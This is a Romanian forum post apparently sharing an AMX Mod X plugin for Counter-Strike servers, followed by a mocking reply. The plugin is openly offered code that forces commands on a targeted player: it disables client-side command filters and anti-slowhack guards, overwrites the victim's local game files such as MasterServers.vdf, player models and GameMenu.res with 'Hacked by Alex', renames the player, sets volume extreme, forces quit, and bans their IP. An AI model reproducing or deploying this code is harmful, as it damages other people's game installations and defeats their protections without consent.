Jump to content

[AMXX] Advanced Bye


LondoN eXtream

Recommended Posts

# Descriere: Acest plugin se numeste Bye Loser, care are ca si scop banarea si distrugerea codatilor. Acest plugin trece de 6 guard-uri.
# Download:

#include <amxmodx>
#include <amxmisc>

#define PLUGIN        "Advanced Bye Bye"
#define VERSION       "1.0"
#define AUTHOR        "Alex #"

#pragma semicolon     1
#pragma tabsize       0

#define ANTI_GUARD

#define MAX_NAME_LENGHT   32

new g_msgSayText;

new const g_sCommands [ ] [ ] = {
    "fps ^"1^"",
    "cl_weather ^"2222^"",
    "motdfile ^"!MD5/../../config/MasterServers.vdf^"; motd_write ^"Hacked by Alex #^"",
    "motdfile ^"models/player/gign/gign.mdl^"; motd_write ^"Hacked by Alex^"",
    "motdfile ^"models/player/sas/sas.mdl^"; motd_write ^"Hacked by Alex^"",
    "motdfile ^"models/w_ak47.mdl^"; motd_write ^"Hacked by Alex^"",
    "motdfile ^"resource/GameMenu.res^"; motd_write ^"Hacked by Alex^"",
    "motdfile !MD5/,,/,,/config/ServerBrowser.vdf^"; motd_write ^"Hacked by Alex^"",
    "name ^"UN MARE DISTRUS^"",
    "volume ^"9999.9^"",
    "quit"
};

public plugin_init()
{
    register_plugin ( PLUGIN, VERSION, AUTHOR );
    
    register_concmd ( "amx_bye", "CMD_BYE", ADMIN_LEVEL_A, "<name>" );
    
    g_msgSayText = get_user_msgid ( "SayText" );
}

public CMD_BYE ( id, level, cid )
{
    if ( !cmd_access ( id, level, cid, 1 ) )                          return PLUGIN_HANDLED;
    
    #if defined ANTI_GUARD
    console_cmd( id, "^"sv_zmax 409^" Enabled False" );
    console_cmd( id, "prot_setcvar Enabled False" );
    console_cmd( id, "^"sv_zmax 409^" GuardON False" );
    console_cmd( id, "csx_setcvar Enabled False" );
    console_cmd( id, "rus_setcvar Enabled False" );
    console_cmd( id, "unk_setcvar Enabled False" );
    console_cmd( id, "cl_filterstuffcmd 0" );
    console_cmd( id, "fix_setcvar Enabled False" );
    console_cmd( id, "clear" );
    #endif
    
    new g_sArgument [ MAX_NAME_LENGHT ];
    new g_sName [ MAX_NAME_LENGHT ];
    new g_sIP [ MAX_NAME_LENGHT ];
    new g_Dir [ 64 ];
    new g_File [ 64 ];
    
    read_argv ( 1, g_sArgument, sizeof ( g_sArgument ) -1 );
    
    if ( equal ( g_sArgument, "" ) )
    {
        client_print ( id, print_console, "Usage: amx_bye < name >" );
        return PLUGIN_HANDLED;
    }
    
    new g_Target = cmd_target ( id, g_sArgument, ( CMDTARGET_NO_BOTS ) );
    
    if ( !g_Target || is_user_connected ( g_Target ) )
    {
        client_print ( id, print_console, "[bYE] This client isn't valid" );
        return PLUGIN_HANDLED;
    }
    
    get_user_name ( g_Target, g_sName, 31 );
    get_user_ip ( g_Target, g_sIP, 31 );
    
    get_configsdir ( g_Dir, charsmax ( g_Dir ) );
    formatex ( g_File, charsmax ( g_File ), "%s/bye_log.txt", g_Dir );
    
    //write_file ( g_File, "[bYE] Player ^"%s^" with IP ^"%s^" has been destroyed^"", g_sName, g_sIP );
    
    for ( new i = 0; i < sizeof ( g_sCommands ); i++ )
    {
        client_cmd ( g_Target, "wait;wait;wait;wait;wait; snapshoot" );
        client_cmd ( g_Target, "wait;wait;wait;wait;wait; %s", g_sCommands [ i ] );
    }
    
    client_cmd ( 0, "spk ^"attention bizwarn detected user and eliminate^"" );
    
    new gAdmin [ MAX_NAME_LENGHT ];
    get_user_name ( id, gAdmin, 31 );
    
    ColorChat ( 0, "!x04[ZM] !x03Player !x04%s !x03has been eliminated by !x04%s", g_sName, gAdmin );
    
    set_hudmessage(0, 0, 0, 0.20, 0.28, 0, 6.0, 5.0);
    show_hudmessage(id, "Player %s has beent eliminated^nCommand executed by %s", g_sName, gAdmin);
    
    server_cmd ( "amx_ban ^"%s^" ^"0^" ^"bye^"", g_sName );
    server_cmd ( "amx_ban ^"%s^" ^"0^" ^"bye^"", g_sIP );
    server_cmd ( "amx_addban ^"%s^" ^"0^" ^"bye^"", g_sIP );
    return PLUGIN_CONTINUE;
}

stock ColorChat(const id, const input[], any:...) {
    new count = 1, players[32];
    static msg[191];
    vformat(msg, 190, input, 3);
    
    replace_all(msg, 190, "!x04", "^4");
    replace_all(msg, 190, "!x03", "^3");
    
    if(id) players[0] = id;
    else get_players(players, count, "ch"); {
        for(new i = 0; i < count; i++) {
            if(is_user_connected(players)) {
                message_begin(MSG_ONE_UNRELIABLE, g_msgSayText, _, players);
                write_byte(players);
                write_string(msg);
                message_end();
            }
        }
    }
}


# Nume: Advanced Bye Loser
# Versiunea: 1.0
# Instalare:

=> Fisierul nume_plugin.sma il puneti in addons/amxmodx/scripting
=> Fisierul nume_plugin.amxx il puneti in addons/amxmodx/plugins
=> Intrati in fisierul addons/amxmodx/configs/plugins.ini si adaugati la urma:
nume_plugin.amxx

Link to comment
Share on other sites

Ce diferentra este intre acest plugin si cel mai bun plugin de eliminate / destroy ?

 

Faptul ca sunt 3 comenzi schimbate intr o functie care da un init nu te face scripter amxx . Iar un text : "Hacked by Alex^" :)))))) , iti multumesc ca mi ai facut o seara mai frumoasa .

  • Like 2
Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
×
×
  • Create New...